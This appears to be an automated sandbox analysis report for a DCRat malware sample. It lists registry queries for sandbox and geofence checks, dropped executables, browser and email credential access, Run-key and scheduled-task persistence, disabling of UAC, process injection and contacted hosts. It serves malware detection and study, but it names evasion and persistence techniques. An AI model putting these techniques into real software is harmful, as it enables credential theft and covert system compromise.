dcrat | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

System Information Discovery

Processes:

CuxOU1F9RSuscwzIIgFo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CuxOU1F9RSuscwzIIgFo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CuxOU1F9RSuscwzIIgFo.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

4363463463464363463463463.bin.exeminer.exe8Grb8KDhLIvSHwFX11Lr.exedvchost.exenative.exefund.exebang_executor.exebang_executor.exeWScript.exewinhostDhcp.exe.exebugai.exe.exeexecuter.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.bin.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	miner.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	8Grb8KDhLIvSHwFX11Lr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	dvchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	native.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	fund.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	bang_executor.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	bang_executor.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	winhostDhcp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	bugai.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	executer.exe

Executes dropped EXE 33 IoCs

Processes:

rty47.exebugai.exema.exedvchost.exe.exenative.exe7z.exe7z.exe7z.exe7z.exewinhostDhcp.exe_wT.exeNSudo.exe32.execonhost.exeBBLb.exenative.exeBBLb.exeBBLb.exeBBLb.exeBBLb.exeAttributeString.exeAttributeString.exe.exeminer.exe8Grb8KDhLIvSHwFX11Lr.exeCuxOU1F9RSuscwzIIgFo.exefund.exebang_executor.exebang_executor.exebang_executor.exeexecuter.execomSvc.exe

pid	process
2876	rty47.exe
2096	bugai.exe
1324	ma.exe
3720	dvchost.exe
2868	.exe
3780	native.exe
1304	7z.exe
2584	7z.exe
4316	7z.exe
4080	7z.exe
2020	winhostDhcp.exe
3280	_wT.exe
2888	NSudo.exe
4044	32.exe
1756	conhost.exe
1844	BBLb.exe
3764	native.exe
4760	BBLb.exe
4248	BBLb.exe
5080	BBLb.exe
3304	BBLb.exe
1552	AttributeString.exe
4956	AttributeString.exe
452	.exe
3284	miner.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
932	CuxOU1F9RSuscwzIIgFo.exe
6476	fund.exe
5544	bang_executor.exe
6868	bang_executor.exe
6152	bang_executor.exe
4032	executer.exe
4936	comSvc.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

CuxOU1F9RSuscwzIIgFo.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Wine CuxOU1F9RSuscwzIIgFo.exe
Loads dropped DLL 4 IoCs

Processes:

7z.exe7z.exe7z.exe7z.exe

pid process

1304 7z.exe
2584 7z.exe
4316 7z.exe
4080 7z.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Wine	CuxOU1F9RSuscwzIIgFo.exe

pid	process
1304	7z.exe
2584	7z.exe
4316	7z.exe
4080	7z.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral3/memory/1644-608-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral3/memory/1644-673-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

bugai.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bugai.exe
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bugai.exe
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bugai.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

bugai.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RageMP131 = "C:\\Users\\Admin\\AppData\\Local\\RageMP131\\RageMP131.exe"	bugai.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bang_executor = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\bang_executor.exe"	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

miner.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	miner.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	miner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

Processes:

flow	ioc
124	raw.githubusercontent.com
198	bitbucket.org
199	bitbucket.org
214	discord.com
215	discord.com
220	discord.com
83	raw.githubusercontent.com
84	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

132 ipinfo.io
133 ipinfo.io

flow	ioc
132	ipinfo.io
133	ipinfo.io

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\heidi1lYaOz_hhmA8\8Grb8KDhLIvSHwFX11Lr.exe	autoit_exe

Drops file in System32 directory 4 IoCs

Processes:

bugai.exe

description	ioc	process
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	bugai.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	bugai.exe
File opened for modification	C:\Windows\System32\GroupPolicy	bugai.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	bugai.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

bugai.exeCuxOU1F9RSuscwzIIgFo.exe

pid process

2096 bugai.exe
932 CuxOU1F9RSuscwzIIgFo.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

.exenative.exeBBLb.exeAttributeString.exeAttributeString.exeMSBuild.exe.exe

description	pid	process	target process
PID 2868 set thread context of 1644	2868	.exe	vbc.exe
PID 3780 set thread context of 3764	3780	native.exe	native.exe
PID 1844 set thread context of 3304	1844	BBLb.exe	BBLb.exe
PID 1552 set thread context of 4956	1552	AttributeString.exe	AttributeString.exe
PID 4956 set thread context of 3736	4956	AttributeString.exe	MSBuild.exe
PID 3736 set thread context of 2624	3736	MSBuild.exe	MSBuild.exe
PID 452 set thread context of 2700	452	.exe	vbc.exe

Drops file in Program Files directory 7 IoCs

Processes:

comSvc.exewinhostDhcp.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\vbc.exe	comSvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\bugai.exe	winhostDhcp.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\7b4de844e4f5bc	winhostDhcp.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\vbc.exe	comSvc.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\508c29baf080ce	comSvc.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RCX85A4.tmp	comSvc.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RCX85B4.tmp	comSvc.exe

Drops file in Windows directory 10 IoCs

Processes:

winhostDhcp.execomSvc.exe

description	ioc	process
File opened for modification	C:\Windows\Downloaded Program Files\csrss.exe	winhostDhcp.exe
File created	C:\Windows\Globalization\Sorting\msedge.exe	comSvc.exe
File opened for modification	C:\Windows\Globalization\Sorting\msedge.exe	comSvc.exe
File created	C:\Windows\Globalization\Sorting\61a52ddc9dd915	comSvc.exe
File opened for modification	C:\Windows\Globalization\Sorting\RCX7B2A.tmp	comSvc.exe
File opened for modification	C:\Windows\Globalization\Sorting\RCX7B2B.tmp	comSvc.exe
File created	C:\Windows\Downloaded Program Files\csrss.exe	winhostDhcp.exe
File created	C:\Windows\Downloaded Program Files\886983d96e3d3e	winhostDhcp.exe
File created	C:\Windows\DigitalLocker\en-US\SppExtComObj.exe	winhostDhcp.exe
File created	C:\Windows\DigitalLocker\en-US\e1ef82546f0b02	winhostDhcp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1008 4044 WerFault.exe 32.exe

pid	pid_target	process	target process
1008	4044	WerFault.exe	32.exe

Checks processor information in registry 2 TTPs 17 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exemsedge.exemsedge.exebugai.exemsedge.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bugai.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	bugai.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe

Creates scheduled task(s) 1 TTPs 40 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

pid	process
6720	schtasks.exe
5680	schtasks.exe
540	schtasks.exe
3284	schtasks.exe
4416	schtasks.exe
436	schtasks.exe
5192	schtasks.exe
6608	schtasks.exe
2724	schtasks.exe
3184	schtasks.exe
444	schtasks.exe
2864	schtasks.exe
4292	schtasks.exe
3520	schtasks.exe
3932	schtasks.exe
6164	schtasks.exe
6332	schtasks.exe
4040	schtasks.exe
1028	schtasks.exe
2200	schtasks.exe
6184	schtasks.exe
3528	schtasks.exe
1756	schtasks.exe
4552	schtasks.exe
4916	schtasks.exe
4576	schtasks.exe
5732	schtasks.exe
5184	schtasks.exe
3100	schtasks.exe
3356	schtasks.exe
5492	schtasks.exe
5260	schtasks.exe
4416	schtasks.exe
6068	schtasks.exe
6644	schtasks.exe
5600	schtasks.exe
3424	schtasks.exe
752	schtasks.exe
6328	schtasks.exe
6692	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

852 timeout.exe

pid	process
852	timeout.exe

Enumerates system info in registry 2 TTPs 17 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exemsedge.exemsedge.exemsedge.exechrome.exechrome.exechrome.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe

Modifies registry class 2 IoCs

Processes:

fund.exewinhostDhcp.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000_Classes\Local Settings	fund.exe
Key created	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000_Classes\Local Settings	winhostDhcp.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

bugai.exe.exewinhostDhcp.exe

pid	process
2096	bugai.exe
2096	bugai.exe
2868	.exe
2868	.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe
2020	winhostDhcp.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

conhost.exe

pid process

1756 conhost.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

msedge.exe

pid process

1552 msedge.exe
1552 msedge.exe

pid	process
1756	conhost.exe

pid	process
1552	msedge.exe
1552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

4363463463464363463463463.bin.exema.exe.exenative.exe7z.exe7z.exe7z.exe7z.exewinhostDhcp.exevbc.exeNSudo.execonhost.exeBBLb.exeBBLb.exepowershell.exeAttributeString.exeAttributeString.exeMSBuild.exe.exepowershell.exeMSBuild.exevbc.exepowershell.exepowershell.exeConhost.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4344	4363463463464363463463463.bin.exe
Token: SeDebugPrivilege	1324	ma.exe
Token: SeDebugPrivilege	2868	.exe
Token: SeDebugPrivilege	3780	native.exe
Token: SeRestorePrivilege	1304	7z.exe
Token: 35	1304	7z.exe
Token: SeSecurityPrivilege	1304	7z.exe
Token: SeSecurityPrivilege	1304	7z.exe
Token: SeRestorePrivilege	2584	7z.exe
Token: 35	2584	7z.exe
Token: SeSecurityPrivilege	2584	7z.exe
Token: SeSecurityPrivilege	2584	7z.exe
Token: SeRestorePrivilege	4316	7z.exe
Token: 35	4316	7z.exe
Token: SeSecurityPrivilege	4316	7z.exe
Token: SeSecurityPrivilege	4316	7z.exe
Token: SeRestorePrivilege	4080	7z.exe
Token: 35	4080	7z.exe
Token: SeSecurityPrivilege	4080	7z.exe
Token: SeSecurityPrivilege	4080	7z.exe
Token: SeDebugPrivilege	2020	winhostDhcp.exe
Token: SeLockMemoryPrivilege	1644	vbc.exe
Token: SeLockMemoryPrivilege	1644	vbc.exe
Token: 18446744065119617044	2888	NSudo.exe
Token: SeDebugPrivilege	1756	conhost.exe
Token: SeDebugPrivilege	1844	BBLb.exe
Token: SeDebugPrivilege	3304	BBLb.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	1552	AttributeString.exe
Token: SeDebugPrivilege	4956	AttributeString.exe
Token: SeDebugPrivilege	3736	MSBuild.exe
Token: SeDebugPrivilege	452	.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	2624	MSBuild.exe
Token: SeLockMemoryPrivilege	2700	vbc.exe
Token: SeLockMemoryPrivilege	2700	vbc.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2480	Conhost.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	powershell.exe
Token: SeSecurityPrivilege	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2052	powershell.exe
Token: SeLoadDriverPrivilege	2052	powershell.exe
Token: SeSystemProfilePrivilege	2052	powershell.exe
Token: SeSystemtimePrivilege	2052	powershell.exe
Token: SeProfSingleProcessPrivilege	2052	powershell.exe
Token: SeIncBasePriorityPrivilege	2052	powershell.exe
Token: SeCreatePagefilePrivilege	2052	powershell.exe
Token: SeBackupPrivilege	2052	powershell.exe
Token: SeRestorePrivilege	2052	powershell.exe
Token: SeShutdownPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2052	powershell.exe
Token: SeRemoteShutdownPrivilege	2052	powershell.exe
Token: SeUndockPrivilege	2052	powershell.exe
Token: SeManageVolumePrivilege	2052	powershell.exe
Token: 33	2052	powershell.exe
Token: 34	2052	powershell.exe
Token: 35	2052	powershell.exe
Token: 36	2052	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeIncreaseQuotaPrivilege	3788	powershell.exe
Token: SeSecurityPrivilege	3788	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

vbc.exevbc.exe8Grb8KDhLIvSHwFX11Lr.exemsedge.exe

pid	process
1644	vbc.exe
2700	vbc.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

8Grb8KDhLIvSHwFX11Lr.exemsedge.exe

pid	process
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
1552	msedge.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe
3856	8Grb8KDhLIvSHwFX11Lr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.bin.exema.execmd.exe.execmd.exedvchost.execmd.exewinhostDhcp.execmd.exenative.exe

description	pid	process	target process
PID 4344 wrote to memory of 2876	4344	4363463463464363463463463.bin.exe	rty47.exe
PID 4344 wrote to memory of 2876	4344	4363463463464363463463463.bin.exe	rty47.exe
PID 4344 wrote to memory of 2096	4344	4363463463464363463463463.bin.exe	bugai.exe
PID 4344 wrote to memory of 2096	4344	4363463463464363463463463.bin.exe	bugai.exe
PID 4344 wrote to memory of 2096	4344	4363463463464363463463463.bin.exe	bugai.exe
PID 4344 wrote to memory of 1324	4344	4363463463464363463463463.bin.exe	ma.exe
PID 4344 wrote to memory of 1324	4344	4363463463464363463463463.bin.exe	ma.exe
PID 1324 wrote to memory of 3700	1324	ma.exe	cmd.exe
PID 1324 wrote to memory of 3700	1324	ma.exe	cmd.exe
PID 3700 wrote to memory of 852	3700	cmd.exe	timeout.exe
PID 3700 wrote to memory of 852	3700	cmd.exe	timeout.exe
PID 4344 wrote to memory of 3720	4344	4363463463464363463463463.bin.exe	dvchost.exe
PID 4344 wrote to memory of 3720	4344	4363463463464363463463463.bin.exe	dvchost.exe
PID 4344 wrote to memory of 3720	4344	4363463463464363463463463.bin.exe	dvchost.exe
PID 3700 wrote to memory of 2868	3700	cmd.exe	.exe
PID 3700 wrote to memory of 2868	3700	cmd.exe	.exe
PID 2868 wrote to memory of 4644	2868	.exe	cmd.exe
PID 2868 wrote to memory of 4644	2868	.exe	cmd.exe
PID 4644 wrote to memory of 3520	4644	cmd.exe	schtasks.exe
PID 4644 wrote to memory of 3520	4644	cmd.exe	schtasks.exe
